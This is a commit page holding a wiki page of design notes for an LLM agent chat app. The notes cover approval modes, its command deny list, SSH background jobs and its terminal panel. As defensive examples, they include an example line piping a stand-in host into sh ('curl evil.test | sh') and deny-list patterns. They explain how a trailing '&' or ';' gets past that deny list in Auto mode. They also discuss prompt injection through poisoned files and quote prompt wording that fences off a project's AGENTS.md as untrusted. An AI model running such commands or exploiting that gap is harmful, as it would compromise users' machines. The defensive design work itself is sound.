Houmeres/LLeMbas
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases 3 Wiki Activity

The developer documentation, moved out of the repository 

The working notes, the roadmap and the eight topic notes were files in the
repository. They are documentation about the project rather than part of it,
and a wiki is versioned, browsable and separate from what a clone carries.

Every internal link is rewritten to a wiki page. The two references to
CLAUDE.md in Agent-chats are deliberately left as they are: they describe the
feature that reads *another* project's instructions file, not this one.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Jaroslav Beneš
2026-08-08 01:29:25 +02:00
parent c56ffc317f
commit 3082c5eb86
12 changed files with 4620 additions and 1 deletions
Download Patch File Download Diff File Expand all files Collapse all files
Agent-chats.md
+658
@@ -0,0 +1,658 @@
# Agent chats
Split out of [Working-notes](Working-notes) -- same document, same rules, kept here because that
file is loaded in full on every session and this part is only wanted when you
are working on agent chats. Read it before you do.
Covers `services/agent/`, `api/agents.py`, `api/terminal.py`, the approval
and policy path through `services/generation.py`, and the terminal panel.
**The mode and the allow list are re-read between rounds, not once per reply.**
Both are things a person changes *while watching a reply*, and both were
snapshotted when it began -- so switching to Auto during a long agent reply went
on asking about every call, and "Always allow this" was accepted, written to the
row and then ignored for the rest of the reply that had just asked. Both look
exactly like a control that does not work, because for that reply they were.
`agent/session.py:refresh` re-reads the two, and only those two: everything else
is fixed for the life of the chat or is an instance setting nobody edits
mid-reply. Between rounds and never within one -- a round's calls are authorised
together, so switching must not retroactively approve what is already queued,
which is the property the old snapshot was protecting by accident. It mutates
in place because `as_approved` copies field *references*: a replacement would
leave this round's approved copy pointing at the old context.
**A chat's kind and connection are fixed at creation; only the mode moves.**
`Chat.kind`, `ssh_profile_id` and `project_dir` are chosen on the new-chat screen
and refused by `update_chat` thereafter with a 409 — a transcript whose earlier
turns ran somewhere else is not one conversation. `agent_mode` is the exception
and changes freely: it decides what gets asked about, not what the conversation
is. It is read **once per round** — see the note above for why that is not once
per reply, and why it is not per call either.
**The mode is enforced in the loop, never in the prompt.** `_authorise` consults
`agent/policy.py:decide()` server-side, keyed on each `ToolDef.risk`. A model is
*told* which mode it is in so it behaves sensibly, but everything it reads — a
web page, a README, the output of the last command — is untrusted, and a rule
living only in a system message is one a poisoned file can argue with. Within an
agent chat **every** call goes through the table, including the built-ins:
`notes_edit` writes, and Plan mode meaning "look but do not touch" has to mean
that too.
**An approved call needs telling.** Every agent runner re-checks the mode as a
backstop, so a call arriving by a path that skipped `_authorise` cannot walk
past it. That backstop refused the very thing a person had just approved — the
mode says "ask", and asking is exactly what happened. `AgentContext.approved` is
threaded per call on a *copy* of the context, because a round runs its calls
together and only some of them were allowed.
**A call's arguments are parsed once, and the same dict reaches everything.**
`generation._arguments_for` does it; the approval card, `policy.decide` and the
runner all read the result. There used to be two parsers: the card did a plain
`json.loads` and showed `{}` on failure, while `run_tool`'s own fallback put the
raw string into the tool's first required parameter — `command`, for
`shell_run`. So a model emitting invalid JSON got a card headed "Run a command"
with an **empty body** and Allow ran something nobody had been shown, and
`decide` was handed `command=""`, matching neither list. Malformed JSON is a
normal path with small models, and it was a way past the deny list. The fallback
itself is right and is kept, in `tools.parse_arguments`; what was wrong was
having it in only one of the two places.
**An unmatchable command line falls through to the mode, and in Auto that means
it runs.** `policy.subject` returns `None` for anything carrying a shell
metacharacter, so no pattern can match it. Half of that is absolute: it is the
whole reason `git *` in an allow list cannot also mean `git status; curl
evil.test | sh`, and it has never changed.
The deny list has been decided both ways. There was a rule that an unmatchable
line ASKed whenever a deny list existed at all, so `shutdown -h now &` could not
run where `shutdown -h now` asked. It is gone. The shipped `deny_default` is
`["shutdown *", "reboot *", "mkfs*"]` — **non-empty out of the box** — so that
rule made *every* compound command ask in Auto: `cd build && make`, `pytest |
tail`, anything with a redirect. The mode whose entire purpose is not asking
asked about most real commands, and nobody experienced that as a security
control; they experienced it as Auto not working.
So: a deny pattern can now be walked past with a trailing `&`, a `;` or a pipe.
Auto is the only mode where that is reachable — Manual, Edit and Plan all ASK on
`RISK_EXECUTE` regardless — and the admin page says so under the field. Anything
that must never happen belongs in that account's own permissions on the far
side, not in a pattern list. The upgrade that would restore both properties is to
match the deny list against **each segment** of a composed line; it is confined
to `decide` and is worth doing.
**"Always allow this" is a per-chat list, and no pattern ever comes from a
request.** It was a button that did nothing: the verdict was accepted, treated as
permitted, and stored nowhere. It now writes `Chat.scope_json["allow"]`, merged
into `AgentContext.allow` beside the instance list. This is the one key under
`scope_json` that *widens*, which does not break "a chat can narrow what it may
use, and can never widen it" (in [Working-notes](Working-notes)) because that rule is about which
tools a chat may reach; this only decides whether the reader is asked again
about a tool already offered. What makes it safe is that
`api/chats.py:_remember_always` derives every entry server-side from an item
just approved on a card, through `policy.subject` — the same normaliser the
matcher uses, which yields nothing at all for a composed command. The endpoint
takes an interaction id and a verdict, and nothing else. The items must be read
**before** the pause is resolved (`interaction.wait_for` clears
`generation.pending` in its `finally`), which is what `generation.pending_items`
is for. The list is shown in the composer's scope menu with a Clear beside it: a
standing permission nobody can see is one nobody can revoke.
It is also allowed to store nothing and **not** allowed to say nothing.
`subject` yields no pattern for a composed command line, so pressing the button
on one is right to record nothing — and silently recording nothing is the button
that does nothing all over again. `_remember_always` returns
`(added, unmatchable)` and the route turns the second into a toast.
**A reply watches its own request size.** `_maybe_compact` runs once, *before*
the first round; after that a tool round appends an assistant turn and a tool
turn per call and nothing was looking. The only other guard,
`max_total_output_bytes`, defaults to a megabyte — about 260k tokens, larger
than the window of nearly every model this talks to — so it never fired first
and a long agent reply grew its request until the endpoint refused it. The
reader got an upstream error rather than an explanation. `_too_big` now stops
between rounds at `CONTEXT_HEADROOM` of `Model.context_length`, via the
`_gave_up` event that already existed. A `context_length` of 0 is **unknown, not
small**, and is skipped — the same rule the context percentage and automatic
compaction follow.
**And the estimate it reads has to follow the request.**
`tokens.estimate_request` was called once, before the loop, so it described the
first round and nothing after it. That matters beyond the ceiling: for every
endpoint that sends no usage block — llama.cpp, Ollama, llama-swap — that
estimate *is* what the metrics report, so a forty-round reply showed round one's
prompt as the whole reply's. It is recomputed per round now, and
`prompt_estimate_total` sums them, mirroring the reported figures exactly: the
prompt is **summed** across rounds because it was paid for each time, while what
the reply *occupies* is the last round's prompt plus what was written.
**A harness that fits is not the same as one with room.** The shipped set had
grown to within 1,300 characters of the 16,000 ceiling, and crossing it is
silent: `assemble` cuts the *tail*, which by fragment order is the project's own
AGENTS.md. It went to 20,000, and `tests/test_harness.py` pins a **margin**
(`HARNESS_MARGIN`) as well as a fit — the headroom is also where an
administrator's own wording goes, and an override is usually longer than the
default it replaces rather than shorter.
It is **24,000** now, and that is the margin doing its job rather than a number
being nudged: adding `core.commit` and `tool.agent_edits` took the headroom under
20% and the test said so, instead of somebody's AGENTS.md quietly losing its last
paragraph. Raising the ceiling costs nothing by itself — it is a limit, not a
size, and the assembled block is the same length either way.
**`MAX_HARNESS_CHARS` has to be larger than the budgets the same code grants.**
It was 8000. The fragments alone are about 7,900 characters for an agent chat,
and `index_chars` (2,000) and `instructions_chars` (4,000) are granted on top,
both on by default. `prompts.assemble` cuts the **tail**, and by fragment order
the tail is the context worth having — so on a default install the project
listing was severed mid-tree and `context.agent_instructions` was dropped
entirely. The one path by which a project's own AGENTS.md reaches a model did
not reach it, and nothing said so. The two big blocks already carry their own
budgets, applied before assembly, so what this bounds is the *fragments* growing
unnoticed; it is set above the sum of what those budgets grant.
`tests/test_harness.py` pins that the shipped configuration fits.
**A model says what each action is for, and it is shown where the action is.**
`shell_run`, `file_write`, `file_edit` and `job_stop` take a `why`: one line,
carried onto the approval card as `Item.purpose` and onto the tool event, where
the transcript renders it in the *summary* rather than the collapsed body. Auto
mode is the case it exists for — nothing stops for approval there, so without it
a reader watches a list of commands with no account of any of them until the
reply ends. Kept apart from `Item.reason`, which is *our* reason for stopping;
an explanation a reader takes for the application's own would be LLeMbas
vouching for text a model wrote. Not on `file_read`, `file_list` or
`file_search`: they are the hot path, their detail already says everything, and
a schema property costs tokens whether or not it is filled in. The wiring is a
`_explained` wrapper at the `ToolDef`, next to the schema that declares it, so
the two halves cannot drift.
**An agent chat is told to work to an objective, to work out loud, and then to
stop talking and act.** `core.objective`, `core.narrate` and `core.commit`, all
`families=("agent",)`. The third is the counterweight to the second and was
added because a model without it read "work out loud" as licence to deliberate
for ever — pages of "Ready? GO! ... Wait, one last check ... Actually ..." and
not one tool call, ending a reply having done nothing. Narration is worth having;
what it needed was a bound.
`core.narrate` is deliberately the opposite of `core.tools_preamble`'s "do not
announce that you are about to" — which is right for a short answer, read once
it is finished, and wrong for a long piece of work, which is *watched while it
runs*. It says so in its own words rather than referring to the other fragment,
which an administrator may have cleared. Neither appears in an ordinary chat,
where stating an objective in front of a two-line answer is the preamble
`core.style` already forbids. This costs nothing structurally: text produced
before a tool call already survives into the finished reply.
**A name in an f-string does not have to be a string.** `jobs.py` interpolated
`{log}` — the module logger — where it meant `{logf}`, so the launch-and-wait
wrapper ended `rm -f … <Logger lembas.services.agent.jobs (WARNING)> …`, whose
angle brackets and parentheses are shell syntax. The line died with a syntax
error *after* the sentinel, where nothing reads it, so every command still
worked and every job silently left four files on the far side forever —
including the log holding everything it printed. Nothing caught it because the
tests asserted on the output, which was correct. `tests/test_agent_jobs.py` now
runs every wrapper through `sh -n`.
**`registry(db)` must know every tool that can be offered, agent tools
included.** It maps an offered tool *name* back to a family, which is how the
harness decides that `tool.agent` applies. They are listed there unbound to any
chat. Without them `shell_run` resolves to no family, and an agent chat is told
nothing about the machine it is working on. The identical omission cost custom
tools their guidance once already; there is a test for it now.
**A tool description is schema; the harness is where "where" lives.**
Descriptions are sent verbatim and are deliberately not editable, so they state
facts about the runner. Which machine, which directory and which mode belong to
*this chat* and live in the `tool.agent` fragment, where they can change without
the schema shifting under a model mid-conversation.
**Each command is a fresh shell.** Connections are per call, so `cd build`
followed by `make` fails silently — `cwd` is a first-class parameter reaching the
executor, never spliced into the command string. This is the likeliest single
cause of "the agent seems stupid", and the harness says it out loud. So does the
other one: on a Debian-derived host `apt-get install` reports the package missing
until `apt-get update` has run.
**A command can outlive the reply, and that is the one place the fresh-shell
model is fought rather than obeyed.** `services/agent/jobs.py`: a background job
is a `setsid`-detached process on the far side, redirected to a remote logfile
and an exit-file, so it survives the connection closing; LLeMbas reconnects (a
fresh connection, as always) to read it. Opt-in, off by default. When on, the
same wrapper runs *every* command: it launches detached and waits, and a command
that outlasts its timeout is kept running as a job rather than killed. Three
things in the wrappers are load-bearing and were each got wrong first: the
command is **base64'd into a script file**, never put in a quoted `sh -c '…'`
(which shatters on `git commit -m 'fix'` and is an injection hole); the child
records its **own pid via `$$`** under `setsid` as the group leader, so
`job_stop` kills the whole group; and the exit status is read from the
**exit-file, not the wrapper's own status**, which is ~0 from its trailing `rm`.
A job's files are namespaced by the *calling* chat's id and the wrappers are
always built from it, so a model in one chat cannot even name another's job.
**"Prompt the model back when a job finishes" reuses the queue.** A per-job
poller (`jobs._watch`, a fresh connection per tick — never a held one, that
being the thing the whole subsystem forbids) notices completion and calls
`jobs.wake`. Wake writes the completion as a **user-role turn whose content names
itself a machine event** — `_inject` sends a queued turn verbatim, so the framing
lives in the words, the way `execute_plan` quotes the plan, and `tool.background`
tells the model these arrive. If a reply is running the completion is left
`queued` for its `_inject`/`_drain`; if the chat is idle a fresh reply is started
(the `send_queued_now` move). All of it is under a **per-chat `asyncio.Lock` with
no `await` between the running-check and `ensure`**, so two jobs finishing at
once cannot each spin up a generation — the second sees the first's reply live
and leaves its completion for it. The `Job` table exists for one reason the
terminal/generation "lost on restart" precedent does *not* cover: a job runs for
hours with nobody watching, so a restart rehydrates its watcher from the row
(`jobs.rehydrate`, in the lifespan) rather than forgetting the one thing the
feature promises. Cancelling a watcher never stops the detached remote job.
**Background jobs have a chip in the composer row and a panel behind it.** A job
runs detached for as long as it takes and the only way to see one used to be
asking the model to call `job_list` — something that outlives the reply that
started it needs a surface that outlives the reply too. `jobs.listing` merges the
`agent_jobs` rows (which survive a restart and carry wall-clock times) with the
in-process `JobState` (which exists for a job whose row could not be written,
`_persist_row` being best-effort by design). The times come from the row:
`JobState.started_at` is `time.monotonic()`, which is right inside one process
and meaningless across a restart — `rehydrate` builds a fresh state whose clock
starts at nought, so a job three hours old would report having just begun.
The chip **renders even at zero**, because it is the element carrying
`hx-trigger`: a fragment that collapsed to nothing would replace the trigger with
nothing, and the next job started would never appear. The log tail is fetched
only for an expanded row — reading every job's output on every poll would be one
SSH connection per job per five seconds, for output nobody is looking at.
**The dot is coloured by outcome, and the panel is inset because the menu is
not.** `status` is `running|done|killed|lost`, and `done` is two outcomes — so
`jobs__dot--done` would have been green beside the row's own words "Failed, exit
2". `JobView.tone` answers the colour question and the template's if-chain keeps
answering the wording one, which is the half that cannot live in a class name.
`duration` is empty for a *running* job on purpose: this panel is fetched when
somebody opens it and is never polled (the chip is the thing on a timer), so a
live figure would be frozen the instant it painted. Its two stamps are normalised
before subtracting, for the reason `compaction.moment` exists — a job started
before a restart and finished after it has one naive stamp and one aware, and
subtracting them raises. `_short_duration` here is deliberately not `steps`'s:
that one takes milliseconds and tops out at minutes, and a three-hour build
through it reads `184m 12s`. And `.jobs__row` had no horizontal padding while
`.picker__menu` has none either, so every row ran flush into the border under a
header that was inset by `--sp-3`; `jobs__row--open` had been emitted by the
template since the panel shipped with no rule anywhere to render it, which is why
the row whose log was on screen looked like the ones that were not.
**A file a model reads and a file a person edits are not the same read.**
`ssh.read_file` ends in `base.clean_output`, which strips ANSI escape sequences
and decodes with `errors="replace"` — right for the output of a command, and
fatal for an editor: open a file containing an escape byte through it, press
Save, and you have silently rewritten it with the escapes gone and every
undecodable byte replaced by U+FFFD. `ssh.read_text`/`write_text` are Canvas's
own pair — strict decoding, `binary` reported rather than mangled, a `mtime:size`
token for detecting a file that moved underneath, and **oversize refused rather
than truncated**, because `write_file` truncates and a model is told how many
bytes it wrote while somebody pressing Save is not. The model-facing two are
deliberately untouched: what they return is a contract a model has been shown.
A truncated *read* opens read-only for the mirror-image reason — saving back the
first 256KB of a larger file is how the rest of it is deleted.
**Canvas is six sources behind one shape**, dispatched through one table in
`services/canvas.py` for the reason `tool_labels.py` and `sharing.RESOURCE_TYPES`
are tables: six independently written permission checks is how one of them ends
up written slightly differently, and the way *that* failure shows up is somebody
editing somebody else's note. A tab key is `"<source>:<ref>"`, split with
`partition` because a path may contain a colon. `path_key` is lifted out of
`agent/tools.py:_path_key` and shared, so a tab a model opened and one a person
opened are one tab rather than two spellings of the same file.
**A model fills the canvas strip; a person decides what is in front.**
`open_tab(..., activate=False)` is what the generation loop passes, and it is
the whole of how the panel avoids being unusable: an agent reads forty files in
a long reply, and taking the screen each time would drag somebody through all of
them and lose any edit in progress. Eviction at `MAX_TABS` never closes the tab
in front. Only the *strip* is streamed — pushing the contents would overwrite a
textarea somebody is typing in — which is also why `canvas.js` needs no guard
against a swap: both halves are settled on the server, where they cannot be lost
to a race.
**Files never go through a shell.** The SSH exec protocol carries one command
*string* that the far side parses, with no argv form at all, so a model-supplied
path in a command line is unavoidably a quoting problem. `file_read`/`file_write`
/`file_edit`/`file_list` use SFTP, where a path is a path.
**`file_edit` refuses a file this reply has not read, in those words.** A patch
written from memory either fails on context — the good case — or matches
something it did not mean; and `file_write`'s failure mode is worse still, since
it silently drops everything the model did not happen to recall. So
`AgentContext.read_paths` records what was read and `file_edit` answers "Read the
file first!" otherwise. It lives on `AgentContext` because runners never see a
`Generation` and a read path is a fact about the machine; it is shared with the
approved copy because `as_approved` is `dataclasses.replace`, which copies field
*references*. It resets each reply, and that is right rather than a limitation:
`tool_calls_json` is never replayed, so on the next turn the model does not have
the contents either.
**A patch's line numbers are a hint; its context is not.** `agent/patch.py` tries
the hinted position, then scans ±`MAX_DRIFT` for an exact match of the context
block, and refuses when more than one matches. Models get line numbers wrong
constantly and get context right, so this single behaviour is most of what makes
the tool usable. Line endings are normalised in and restored out, a blank context
line that lost its leading space is read as blank, and nothing is written unless
every hunk applies — a half-applied file is worse than a refused one, and the
model cannot tell the difference without reading it again.
**A refused patch has to say where the file actually is.** The mismatch used to
quote one expected line against one found line, and a model whose numbering is
two out cannot see where it has landed — so it resends the identical patch, which
is most of the retry loop this tool produces across models. `patch._around`
prints `MISMATCH_WINDOW` numbered lines either side of the hint with the hinted
one marked, and says where the file ends when the hunk is past it. `tool.agent_edits`
is the prompt half: read it again, patch what is there, and do **not** fall back
to `file_write`, which replaces the whole file and drops everything the model did
not recall.
**`file_edit` refuses a file it cannot read whole, and that one was silent data
loss.** It used to go through `_current`, which answers `""` for a file it cannot
read — right for `file_write`, where the file is about to be created, and wrong
here twice over. An unreadable file was reported to the model as a context
mismatch against "(past the end of the file)", i.e. as an empty one. And a file
larger than `max_output` came back **truncated**, was patched, and was written
back by a `write_file` that *replaces* — so the rest of the file was deleted,
silently, and reported as a success with a byte count. Both are refused now, in
those words. It is the same rule Canvas already follows: a truncated read opens
read-only, because saving back the first N bytes of a larger file is how the rest
of it goes.
**A write costs an extra round trip, deliberately.** `file_write` reads the old
contents before writing so the transcript can show a real `+/-` diff instead of
"1284 bytes". That is one SFTP trip on the hottest agent operation and it is a
conscious trade: it is the difference between seeing what an agent did and having
to go and look. It earns its keep twice, because that read also counts as having
read the file. `file_edit` does **not** call `index.forget_dir` — an edit does not
change the listing, the file was already there — but both call
`instructions.forget` when the path *is* the project's AGENTS.md, which is the
one cache that genuinely went stale.
**asyncssh's defaults are wrong here, all four of them.** Every LLeMbas user
shares one unix account, so `known_hosts` unset reads a *shared* trust store
(and `None` disables checking entirely), `client_keys` unset loads whatever is in
`~/.ssh`, `config` unset lets a `ProxyCommand` redirect the connection, and
`agent_path` unset uses `$SSH_AUTH_SOCK`. All four are passed explicitly on every
connection, and the test that proves it needs no server.
**A pinned host key belongs to a host and a port.** Moving a profile forgets it
deliberately. `capture_host_key` completes the key exchange and stops, so a host
that has not been accepted is never offered a username, let alone a credential —
which is what makes accepting a fingerprint from a button safe.
**A plan ends the turn, but not mid-sentence.** `plan_submit` is offered in Plan
mode only, and the round after it runs with the tools withdrawn: the model gets
to say what it proposed, and cannot spend three more rounds changing its mind
about a plan somebody is being asked to approve. Carrying it out switches to
**Edit, never Auto**, and the plan goes back quoted and attributed rather than
stated — text that came out of a file the model read must not arrive wearing the
reader's authority.
**A plan the model cannot see is a plan it cannot update.** That is the whole of
why `Chat.plan_message_id` exists: `harness` puts the current plan in front of
the model each turn with one primary-key lookup, and `plan_update` is offered
only once there is one. Plan mode is now told to research first and to ask with
`ask_user` when the scope is genuinely ambiguous, and the shape is findings,
objectives and phases of tasks rather than a flat list — but **`steps` is always
written**, flattened from every phase in order, which is why `execute_plan`
needed no change and every row already on disk still works.
`services/plans.py:normalise` is the only place that knows version 1 existed.
**`plan_update` is `RISK_READ`, and it sits in tension with `notes_edit`.** Risk
is what a tool does to *the world*, and the world the four modes govern is the
machine — this cannot touch it. Practically, `RISK_WRITE` would put an approval
card on screen every time a task was ticked off: four cards to carry out a
four-task plan, each approving a bookkeeping entry, which is exactly the
interruption batching exists to prevent. The line against `notes_edit` is that a
note is a durable artefact of the reader's that outlives the chat, while this is
the chat's own record of what it is doing — nearer to `generation.status`. An
administrator who disagrees puts it in `deny_default`.
**A runner cannot write the message row, so two updates in one reply nearly lost
one.** `_persist` is the single writer, so `plan_update` returns the merged plan
on its event and the loop carries it — but both calls in a round would then read
the same stale plan from the database and the second would win. They merge into
`AgentContext.plan` instead, the snapshot seeded once when the context is
resolved. Both `plan_submit` and `plan_update` write `event["plan"]` so
`_persist` stays one writer with one rule; only `plan_submit` sets `plan_final`,
which is what withdraws the tools. **The card does not re-render in place**: the
newest bubble carries the current plan and older ones carry the plan as it was
then, which is what a transcript is for and removes a whole class of work.
**Rewind rewinds the transcript, not the machine.** Editing or regenerating in an
agent chat stamps `Chat.rewound_at` and the harness warns that files from steps
no longer in the transcript are still there. Nothing tries to undo them: the
project directory is somebody's real working tree, and deleting their work to
match would be far worse than the inconsistency.
**The project listing is read from a cache and never fetched.**
`harness.context_variables` runs synchronously on the request path, so
`agent/index.py:cached()` is all it may call — an SFTP round trip from there
would hold a request open while somebody's box thought about it. The walk
happens in `generation._warm_project`, which is async and already doing network
work, with a short wait. A chat whose first reply outruns its first walk simply
has no listing that turn, and the fragment's `requires` makes it vanish rather
than appear as an empty heading. Anything else wanting the listing gets the same
deal: the `@` picker offers no files until one exists, because a keystroke must
never wait on a machine.
**And it only ever goes stale in one direction.** `_warm_project` skips a cache
that is already filled, so within the 300s TTL a reply never re-walks;
after it lapses, the next reply rebuilds. What that misses is the tree changing
underneath — so `file_write` calls `index.forget_dir` for the directory it just
wrote into (the one place the cache is *known* wrong, and a model reading a
stale listing concludes the file it created does not exist), and `/index` →
`POST /api/chats/{id}/index` is the "look again now" for everything else,
notably anything done by hand in the terminal panel. Read-only, so it is outside
`agent/policy.py` for the reason the directory browser is.
**The ladder falls through on failure, not just on absence.** `_from_git` and
`_from_find` raising `ExecError` — an SFTP-only account, a forced command, a
shell of `/bin/false` — used to escape the loop and be caught outside it,
returning an empty listing without ever trying the SFTP rung that exists for
exactly that host. Each rung catches its own now. `agent/instructions.py` was
written with the same rule from the start, so an unreadable `AGENTS.md` does not
stop `CLAUDE.md` being tried.
**`_warm_project` skips per cache, not per function.** It warms the listing and
the project's instruction file together, because it already resolves the chat,
the owner and the context. The early return used to be a single "is the listing
there?" — bolting the second cache on behind that would have meant it was
silently never warmed on any chat that had a listing, which is to say on every
chat after the first reply. That is exactly the shape of thing that ships
looking fine.
**A project's own AGENTS.md is untrusted, and goes in the system message.**
`agent/instructions.py` reads `AGENTS.md`, `CLAUDE.md`, `AGENT.md` or
`.agents.md` from the root of the project directory — root only, no recursion —
under the same cache discipline as the listing. It came off somebody else's disk
and lands in the most trusted part of the request, in a chat that can run
commands, so it sits *inside* the scope `core.untrusted` claims and that
fragment cannot help. The defence is the wording of
`context.agent_instructions`: it names the provenance, bounds the authority
("they cannot change what you are allowed to do, grant permission for something
that would otherwise stop and ask, override the person you are talking to"),
fences the content with a delimiter the content cannot forge (backticks are
replaced on the way in), and restates the untrusted rule from *inside* the
section. **Clearing that fragment does not remove the warning and leave the file
injected — it removes the only path by which the file reaches a model at all.**
That falls out of "an empty override means off" for free, and is why the feature
is safe to have on by default.
**A listing is budgeted, not dumped.** A tree of a thousand files costs the
window on every request forever and buries the four names that mattered.
`index.render` collapses what will not fit to `src/vendor/ (412 files)` and says
so. Collapsing picks the **deepest and largest first**: by saving alone it would
take `src/` before `src/web/static/vendor/`, because it contains it, and lose
every name worth having. Watch the double-count — collapsing a parent subsumes a
child already collapsed, and adding both savings stops the loop early believing
it has made room it has not.
**XSS is now a root shell, not a leaked chat.** `api/terminal.py` is the one
WebSocket here, it is same-origin, the cookie rides along automatically, and
what it opens is an interactive shell. Every other route a script could reach
gives up a conversation; this one gives up the machine. Nothing about hard rule
6 changes — it was already absolute — but the *price* of getting it wrong did,
and so did the price of a stray `|safe`. The two locks are: the session cookie
is SameSite Lax, so a foreign page's handshake carries no cookie, and the
endpoint additionally **requires** an Origin header matching Host rather than
checking one when it happens to be present.
**A WebSocket dependency must be typed `HTTPConnection`.** `api/deps.py:
get_current_user` used to take a `Request`; FastAPI injects a `WebSocket` on a
websocket route, so the annotation fails at *connect* time rather than at
import. That is a failure which passes every test that does not open a socket
and breaks in a browser. `HTTPConnection` is the shared base and carries both
the cookies and `.state`.
**Terminal sessions are keyed on the chat, and outlive the socket.** A reload is
indistinguishable from a second tab, so anything finer needs an id in the
browser's storage — and then an abandoned tab leaks a PTY nothing in the UI can
find. One chat, one shell; two tabs share it and the smaller window decides the
size. Closing the panel calls `detach`, never `close`: a build running behind a
shut panel is the case the whole lifetime exists for. What ends one is the idle
timeout (nobody attached *and* nothing typed), deleting the chat, disabling,
moving or deleting the connection, forgetting its host key, or a restart.
**Unlike generations, nothing here ends by itself.** `generation.ensure` can
prune inside itself because a reply finishes and something calls in again. A
shell sits at a prompt forever, so `agent/terminal.py` runs a reaper task
instead. Copying the generation shape would mean nothing was ever swept.
**A slow viewer is dropped, not buffered.** Each viewer has a bounded queue; one
that fills is disconnected and reconnects with the scrollback, which costs it
nothing because the scrollback *is* the state. Blocking the pump instead would
stall every other viewer and buffer without bound — and `yes` is one word to
type. The reflex fix is an unbounded queue; it is the wrong one.
**Terminal traffic is bytes in both directions, and nothing decodes it.** A read
on the far side lands mid-character often enough to matter. xterm's decoder is
stateful across `write()` calls, so passing raw bytes through is correct by
construction, while decoding each frame server-side would corrupt every
boundary. Only `resize`, `ready`, `closed` and `error` are text, and they are
JSON.
**The modes do not govern the keyboard, and now there are five exceptions, not
one.** `agent/policy.py` exists because a model reads pages, files and command
output it did not write and can be talked into things. A person typing into the
terminal panel holds the credential already and could open the same shell with
an ssh client, so nothing they type is checked against the mode or the two
lists. The directory browser (`GET /api/agents/{id}/browse`) and the project
listing (`agent/index.py`) are the same argument again: both are read-only, both
are LLeMbas acting on somebody's instruction rather than a model choosing to,
and both would be pointless if they asked. But it does mean **Manual** mode's
"everything is shown to you before it happens" is now true of the *model* and
not of the interface, and that is worth saying out loud rather than discovering.
There is a test named after the first one, because it reads like a bug next to
`policy.py` and "fixing" it would make the panel useless in the mode people
spend the most time in.
The fourth is **Canvas saving a project file**, and it is the first of the four
that *writes*. Same argument — whoever owns the credential could write the file
with `scp` — but the consequence is larger and should not be inferred from the
other three: in Plan mode, "look but do not touch" is a promise about the model
and not about the panel. The gate is `canvas.agent_ready`, everything
`_terminal_enabled` checks except `agent.terminal`, and re-derived on every
request rather than trusted from the template flag of the same name.
The fifth is the **background jobs panel** (`GET /api/chats/{id}/jobs`, its
`/panel`, and `POST .../jobs/{job_id}/stop`). Same argument once more: whoever
owns the credential could read the log with `cat` and stop the job with `kill`,
and a panel that asked permission to show what is already running would be a
panel nobody could use. `job_stop` as a *model* tool keeps its `RISK_EXECUTE` and
its approval card — nothing a model may do has changed. The route re-checks that
the job belongs to this chat, because the remote paths are namespaced by chat id
but the route takes the id from a URL.
**Editing a command on an approval card is not a sixth exception, and the reason
matters.** The deny list resolves to `ASK`, not to a refusal — it means "always
ask about this" — so a person who has typed the command themselves and pressed
Allow *is* the asking it was demanding, and re-checking would put the same card
up with no way past it. The instance's list still governs the model, because
`decide` reads it before the allow list, so a pattern "always allow" remembered
from an edit cannot widen past it.
**"Don't" can carry a reason, and the reason changes what the model is told, not
just what it reads.** A bare refusal says only that it was refused, so the model
does the one sensible thing left and asks what you would rather — a whole round
spent on something you knew when you pressed the button. `Reply.reason` is how
that round is skipped, and `_not_allowed` branches on it: with nothing to go on,
"say what you were going to do and ask what they would prefer"; with a reason,
that instruction is *wrong*, because the answer is already on the screen above,
so the model is pointed at it and told to carry on from it. The "do not look for
a way round" half is kept either way — that half is about the refusal, which
holds regardless.
It is a **card-level** field, not `text.<key>`. One card covers everything in the
round for the reason this whole primitive does, so one reason answers the round —
and on an approval card `text.<key>` already means a *corrected command*, which is
a different thing arriving in the same shape. It is read only on a refusal, so a
reason typed and then abandoned by pressing Allow cannot travel with a permission.
Bounded at `MAX_REASON_CHARS` where the `Reply` is built, so nothing downstream
has to think about length, and it goes on the tool event as well as into the
result — a transcript that says a step was refused without saying why is one you
have to have been watching to understand. It is the one thing in a tool result
that is genuinely *not* untrusted: it is the reader's own words, so it is stated
as theirs and needs no fence.
**Shell integration is best-effort, and the fallback is the point.**
`agent/shell_marks.py` gives bash and zsh hooks that emit OSC 133 around the
prompt, the command and its result, so the panel can say what "the last command
and its output" means. Three things about it:
- **It is written by the PTY command string itself**, with `printf`. sshd runs
that string through `$SHELL -c`, so it can `case` on the shell's own name and
needs no probe, no second channel and no writable `$HOME`. Environment
variables do not work — every distribution ships `AcceptEnv LANG LC_*`, so
anything else is dropped silently — and feeding `source …` in as keystrokes
races a slow `.zshrc`, echoes, and lands in shell history.
- **Nothing needs hiding.** The setup runs before the shell exists and never
writes to the PTY's *input* side, so there is nothing to echo and no fan-out
gate. That is why this mechanism was chosen over the one that looks obvious.
- **The exit status is captured in the `DEBUG` trap, not in `PROMPT_COMMAND`.**
DEBUG fires before every simple command *including each one inside
`PROMPT_COMMAND`*, so `$?` read from there is whatever ran a moment ago. This
was wrong in the first version and every command reported success. zsh has the
mirror-image trap: `$ZDOTDIR` is already ours by the time `.zshenv` runs, so
the user's own must be passed on the exec line or the shims source themselves
and none of somebody's configuration loads.
Any shell that is not bash or zsh gets exactly the command that ran before, and
therefore no markers — at which point Copy and Send fall back to scraping the
screen and say so, and the automatic toggle is **disabled rather than degraded**.
Forty arbitrary lines attached to every message is worse than nothing attached.
**The automatic toggle has three states, and a select to say which.** Off, copy,
send. It was a boolean doing the wrong one of them: it appended into the
composer, on top of whatever was being typed there. `send` posts straight to
`/api/chats/{id}/messages` and never touches the composer — which is what makes
the queue load-bearing, since commands finish while a reply is running. Not
persisted between page loads, deliberately: a switch that forwards everything
you type in a shell to a model is not something to inherit from last week's
session. A cycling icon button was the obvious shape and cannot say which of
three states it is in.
**The nginx vhost must pass upgrades through.** `deploy/nginx-vhost.conf` used
to set `Connection ""`, which is right for SSE and fails every WebSocket
handshake — and a failed handshake tells the browser nothing: no status, no
reason. It now uses `map $http_upgrade`, which yields the empty string when
nothing asked to upgrade, so one `location` serves both. `update.sh` has a drift
check for exactly this.
**`data-toggle` syncs every toggle, not the one that was clicked.** A panel can
be opened by the topbar button and closed by its own Close, and now also closed
by nothing at all: `data-toggle-group="side"` makes the terminal and the
inspector mutually exclusive, because at 1280px both plus the sidebar leave the
conversation about seventy pixels wide. `app.js:setPanel` applies the state and
then brings every `[data-toggle]` pointing at that panel in line, and fires
